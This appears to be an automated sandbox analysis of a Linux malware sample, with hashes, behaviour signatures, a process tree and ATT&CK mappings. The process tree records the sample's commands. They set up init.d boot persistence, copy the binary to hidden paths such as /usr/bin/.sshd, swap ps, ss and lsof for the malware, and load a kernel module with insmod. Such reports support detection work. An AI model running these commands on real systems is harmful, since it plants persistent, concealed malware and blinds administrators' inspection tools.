Analysis

  • max time kernel
    0s
  • max time network
    136s
  • platform
    linux_amd64
  • resource
    ubuntu1804-amd64-en-20211208
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28-11-2022 10:50

General

  • Target

    b034b26b1d08f1d86ecffff6cde9568708af7bf86e743292f6b74c83dc25d1ae

  • Size

    1.2MB

  • MD5

    d5bbd9289746dfbcf84812581377a329

  • SHA1

    751c5070b80b796a57667ae5d6770dc75beccf49

  • SHA256

    b034b26b1d08f1d86ecffff6cde9568708af7bf86e743292f6b74c83dc25d1ae

  • SHA512

    4e3139d8c6b0c257041dbf94b4a96359bf09f3866abd1b87615bd54435c5558196f9b8750a5c8b003a889b6c0191855380c4c6ba9f68010023b47c8855d79127

  • SSDEEP

    24576:e845rGHu6gVJKG75oFpA0VWIX4Q2y1q2rJp0:745vRVJKGtSA0VWIonu9p0

Score
9/10

Malware Config

Signatures

  • Writes file to system bin folder 1 TTPs 4 IoCs
  • Write file to user bin folder 1 TTPs 12 IoCs
  • Reads runtime system information 21 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b034b26b1d08f1d86ecffff6cde9568708af7bf86e743292f6b74c83dc25d1ae
    /tmp/b034b26b1d08f1d86ecffff6cde9568708af7bf86e743292f6b74c83dc25d1ae
    1⤵
      PID:571
    • /bin/sh
      sh -c "ln -s /etc/init.d/DbSecuritySpt /etc/rc1.d/S97DbSecuritySpt"
      1⤵
        PID:577
        • /bin/ln
          ln -s /etc/init.d/DbSecuritySpt /etc/rc1.d/S97DbSecuritySpt
          2⤵
            PID:578
        • /bin/sh
          sh -c "ln -s /etc/init.d/DbSecuritySpt /etc/rc2.d/S97DbSecuritySpt"
          1⤵
            PID:579
            • /bin/ln
              ln -s /etc/init.d/DbSecuritySpt /etc/rc2.d/S97DbSecuritySpt
              2⤵
                PID:580
            • /bin/sh
              sh -c "ln -s /etc/init.d/DbSecuritySpt /etc/rc3.d/S97DbSecuritySpt"
              1⤵
                PID:581
                • /bin/ln
                  ln -s /etc/init.d/DbSecuritySpt /etc/rc3.d/S97DbSecuritySpt
                  2⤵
                    PID:582
                • /bin/sh
                  sh -c "ln -s /etc/init.d/DbSecuritySpt /etc/rc4.d/S97DbSecuritySpt"
                  1⤵
                    PID:583
                    • /bin/ln
                      ln -s /etc/init.d/DbSecuritySpt /etc/rc4.d/S97DbSecuritySpt
                      2⤵
                        PID:584
                    • /bin/sh
                      sh -c "ln -s /etc/init.d/DbSecuritySpt /etc/rc5.d/S97DbSecuritySpt"
                      1⤵
                        PID:585
                        • /bin/ln
                          ln -s /etc/init.d/DbSecuritySpt /etc/rc5.d/S97DbSecuritySpt
                          2⤵
                            PID:586
                        • /bin/sh
                          sh -c "mkdir -p /usr/bin/bsd-port"
                          1⤵
                            PID:587
                            • /bin/mkdir
                              mkdir -p /usr/bin/bsd-port
                              2⤵
                              • Reads runtime system information
                              PID:588
                          • /bin/sh
                            sh -c "mkdir -p /usr/bin/bsd-port"
                            1⤵
                              PID:589
                              • /bin/mkdir
                                mkdir -p /usr/bin/bsd-port
                                2⤵
                                • Reads runtime system information
                                PID:590
                            • /bin/sh
                              sh -c "cp -f /tmp/b034b26b1d08f1d86ecffff6cde9568708af7bf86e743292f6b74c83dc25d1ae /usr/bin/bsd-port/getty"
                              1⤵
                                PID:591
                                • /bin/cp
                                  cp -f /tmp/b034b26b1d08f1d86ecffff6cde9568708af7bf86e743292f6b74c83dc25d1ae /usr/bin/bsd-port/getty
                                  2⤵
                                  • Write file to user bin folder
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:592
                              • /bin/sh
                                sh -c /usr/bin/bsd-port/getty
                                1⤵
                                  PID:594
                                  • /usr/bin/bsd-port/getty
                                    /usr/bin/bsd-port/getty
                                    2⤵
                                      PID:595
                                  • /bin/sh
                                    sh -c "mkdir -p /usr/bin"
                                    1⤵
                                      PID:597
                                      • /bin/mkdir
                                        mkdir -p /usr/bin
                                        2⤵
                                        • Reads runtime system information
                                        PID:598
                                    • /bin/sh
                                      sh -c "mkdir -p /usr/bin"
                                      1⤵
                                        PID:599
                                        • /bin/mkdir
                                          mkdir -p /usr/bin
                                          2⤵
                                          • Reads runtime system information
                                          PID:600
                                      • /bin/sh
                                        sh -c "cp -f /tmp/b034b26b1d08f1d86ecffff6cde9568708af7bf86e743292f6b74c83dc25d1ae /usr/bin/.sshd"
                                        1⤵
                                          PID:601
                                          • /bin/cp
                                            cp -f /tmp/b034b26b1d08f1d86ecffff6cde9568708af7bf86e743292f6b74c83dc25d1ae /usr/bin/.sshd
                                            2⤵
                                            • Write file to user bin folder
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:602
                                        • /bin/sh
                                          sh -c "ln -s /etc/init.d/selinux /etc/rc1.d/S99selinux"
                                          1⤵
                                            PID:603
                                            • /bin/ln
                                              ln -s /etc/init.d/selinux /etc/rc1.d/S99selinux
                                              2⤵
                                                PID:604
                                            • /bin/sh
                                              sh -c "ln -s /etc/init.d/selinux /etc/rc2.d/S99selinux"
                                              1⤵
                                                PID:605
                                                • /bin/ln
                                                  ln -s /etc/init.d/selinux /etc/rc2.d/S99selinux
                                                  2⤵
                                                    PID:606
                                                • /bin/sh
                                                  sh -c "ln -s /etc/init.d/selinux /etc/rc3.d/S99selinux"
                                                  1⤵
                                                    PID:607
                                                    • /bin/ln
                                                      ln -s /etc/init.d/selinux /etc/rc3.d/S99selinux
                                                      2⤵
                                                        PID:610
                                                    • /bin/sh
                                                      sh -c /usr/bin/.sshd
                                                      1⤵
                                                        PID:609
                                                        • /usr/bin/.sshd
                                                          /usr/bin/.sshd
                                                          2⤵
                                                            PID:611
                                                        • /bin/sh
                                                          sh -c "ln -s /etc/init.d/selinux /etc/rc4.d/S99selinux"
                                                          1⤵
                                                            PID:612
                                                            • /bin/ln
                                                              ln -s /etc/init.d/selinux /etc/rc4.d/S99selinux
                                                              2⤵
                                                                PID:613
                                                            • /bin/sh
                                                              sh -c "ln -s /etc/init.d/selinux /etc/rc5.d/S99selinux"
                                                              1⤵
                                                                PID:614
                                                                • /bin/ln
                                                                  ln -s /etc/init.d/selinux /etc/rc5.d/S99selinux
                                                                  2⤵
                                                                    PID:615
                                                                • /bin/sh
                                                                  sh -c "mkdir -p /usr/bin/dpkgd"
                                                                  1⤵
                                                                    PID:616
                                                                    • /bin/mkdir
                                                                      mkdir -p /usr/bin/dpkgd
                                                                      2⤵
                                                                      • Reads runtime system information
                                                                      PID:617
                                                                  • /bin/sh
                                                                    sh -c "cp -f /bin/ps /usr/bin/dpkgd/ps"
                                                                    1⤵
                                                                      PID:618
                                                                      • /bin/cp
                                                                        cp -f /bin/ps /usr/bin/dpkgd/ps
                                                                        2⤵
                                                                        • Writes file to system bin folder
                                                                        • Write file to user bin folder
                                                                        • Reads runtime system information
                                                                        PID:619
                                                                    • /bin/sh
                                                                      sh -c "mkdir -p /bin"
                                                                      1⤵
                                                                        PID:620
                                                                        • /bin/mkdir
                                                                          mkdir -p /bin
                                                                          2⤵
                                                                          • Reads runtime system information
                                                                          PID:621
                                                                      • /bin/sh
                                                                        sh -c "mkdir -p /bin"
                                                                        1⤵
                                                                          PID:622
                                                                          • /bin/mkdir
                                                                            mkdir -p /bin
                                                                            2⤵
                                                                            • Reads runtime system information
                                                                            PID:623
                                                                        • /bin/sh
                                                                          sh -c "cp -f /usr/bin/bsd-port/getty /bin/ps"
                                                                          1⤵
                                                                            PID:624
                                                                            • /bin/cp
                                                                              cp -f /usr/bin/bsd-port/getty /bin/ps
                                                                              2⤵
                                                                              • Writes file to system bin folder
                                                                              • Write file to user bin folder
                                                                              • Reads runtime system information
                                                                              PID:625
                                                                          • /bin/sh
                                                                            sh -c "chmod 0755 /bin/ps"
                                                                            1⤵
                                                                              PID:626
                                                                              • /bin/chmod
                                                                                chmod 0755 /bin/ps
                                                                                2⤵
                                                                                  PID:627
                                                                              • /bin/sh
                                                                                sh -c "cp -f /bin/ss /usr/bin/dpkgd/ss"
                                                                                1⤵
                                                                                  PID:628
                                                                                  • /bin/cp
                                                                                    cp -f /bin/ss /usr/bin/dpkgd/ss
                                                                                    2⤵
                                                                                    • Writes file to system bin folder
                                                                                    • Write file to user bin folder
                                                                                    • Reads runtime system information
                                                                                    PID:629
                                                                                • /bin/sh
                                                                                  sh -c "mkdir -p /bin"
                                                                                  1⤵
                                                                                    PID:630
                                                                                    • /bin/mkdir
                                                                                      mkdir -p /bin
                                                                                      2⤵
                                                                                      • Reads runtime system information
                                                                                      PID:631
                                                                                  • /bin/sh
                                                                                    sh -c "mkdir -p /bin"
                                                                                    1⤵
                                                                                      PID:632
                                                                                      • /bin/mkdir
                                                                                        mkdir -p /bin
                                                                                        2⤵
                                                                                        • Reads runtime system information
                                                                                        PID:633
                                                                                    • /bin/sh
                                                                                      sh -c "cp -f /usr/bin/bsd-port/getty /bin/ss"
                                                                                      1⤵
                                                                                        PID:634
                                                                                        • /bin/cp
                                                                                          cp -f /usr/bin/bsd-port/getty /bin/ss
                                                                                          2⤵
                                                                                          • Writes file to system bin folder
                                                                                          • Write file to user bin folder
                                                                                          • Reads runtime system information
                                                                                          PID:635
                                                                                      • /bin/sh
                                                                                        sh -c "chmod 0755 /bin/ss"
                                                                                        1⤵
                                                                                          PID:636
                                                                                          • /bin/chmod
                                                                                            chmod 0755 /bin/ss
                                                                                            2⤵
                                                                                              PID:637
                                                                                          • /bin/sh
                                                                                            sh -c "cp -f /usr/bin/lsof /usr/bin/dpkgd/lsof"
                                                                                            1⤵
                                                                                              PID:638
                                                                                              • /bin/cp
                                                                                                cp -f /usr/bin/lsof /usr/bin/dpkgd/lsof
                                                                                                2⤵
                                                                                                • Write file to user bin folder
                                                                                                • Reads runtime system information
                                                                                                PID:639
                                                                                            • /bin/sh
                                                                                              sh -c "mkdir -p /usr/bin"
                                                                                              1⤵
                                                                                                PID:640
                                                                                                • /bin/mkdir
                                                                                                  mkdir -p /usr/bin
                                                                                                  2⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:641
                                                                                              • /bin/sh
                                                                                                sh -c "mkdir -p /usr/bin"
                                                                                                1⤵
                                                                                                  PID:642
                                                                                                  • /bin/mkdir
                                                                                                    mkdir -p /usr/bin
                                                                                                    2⤵
                                                                                                    • Reads runtime system information
                                                                                                    PID:643
                                                                                                • /bin/sh
                                                                                                  sh -c "cp -f /usr/bin/bsd-port/getty /usr/bin/lsof"
                                                                                                  1⤵
                                                                                                    PID:644
                                                                                                    • /bin/cp
                                                                                                      cp -f /usr/bin/bsd-port/getty /usr/bin/lsof
                                                                                                      2⤵
                                                                                                      • Write file to user bin folder
                                                                                                      • Reads runtime system information
                                                                                                      PID:645
                                                                                                  • /bin/sh
                                                                                                    sh -c "chmod 0755 /usr/bin/lsof"
                                                                                                    1⤵
                                                                                                      PID:646
                                                                                                      • /bin/chmod
                                                                                                        chmod 0755 /usr/bin/lsof
                                                                                                        2⤵
                                                                                                          PID:647
                                                                                                      • /bin/sh
                                                                                                        sh -c "insmod /usr/bin/bsd-port/xpacket.ko"
                                                                                                        1⤵
                                                                                                          PID:650
                                                                                                          • /sbin/insmod
                                                                                                            insmod /usr/bin/bsd-port/xpacket.ko
                                                                                                            2⤵
                                                                                                            • Reads runtime system information
                                                                                                            PID:651
                                                                                                        • /bin/sh
                                                                                                          sh -c "insmod /tmp/xpacket.ko"
                                                                                                          1⤵
                                                                                                            PID:653
                                                                                                            • /sbin/insmod
                                                                                                              insmod /tmp/xpacket.ko
                                                                                                              2⤵
                                                                                                              • Reads runtime system information
                                                                                                              PID:654

                                                                                                          Network

                                                                                                          MITRE ATT&CK Matrix ATT&CK v6

                                                                                                          Persistence

                                                                                                          Hijack Execution Flow

                                                                                                          2
                                                                                                          T1574

                                                                                                          Privilege Escalation

                                                                                                          Hijack Execution Flow

                                                                                                          2
                                                                                                          T1574

                                                                                                          Defense Evasion

                                                                                                          Hijack Execution Flow

                                                                                                          2
                                                                                                          T1574

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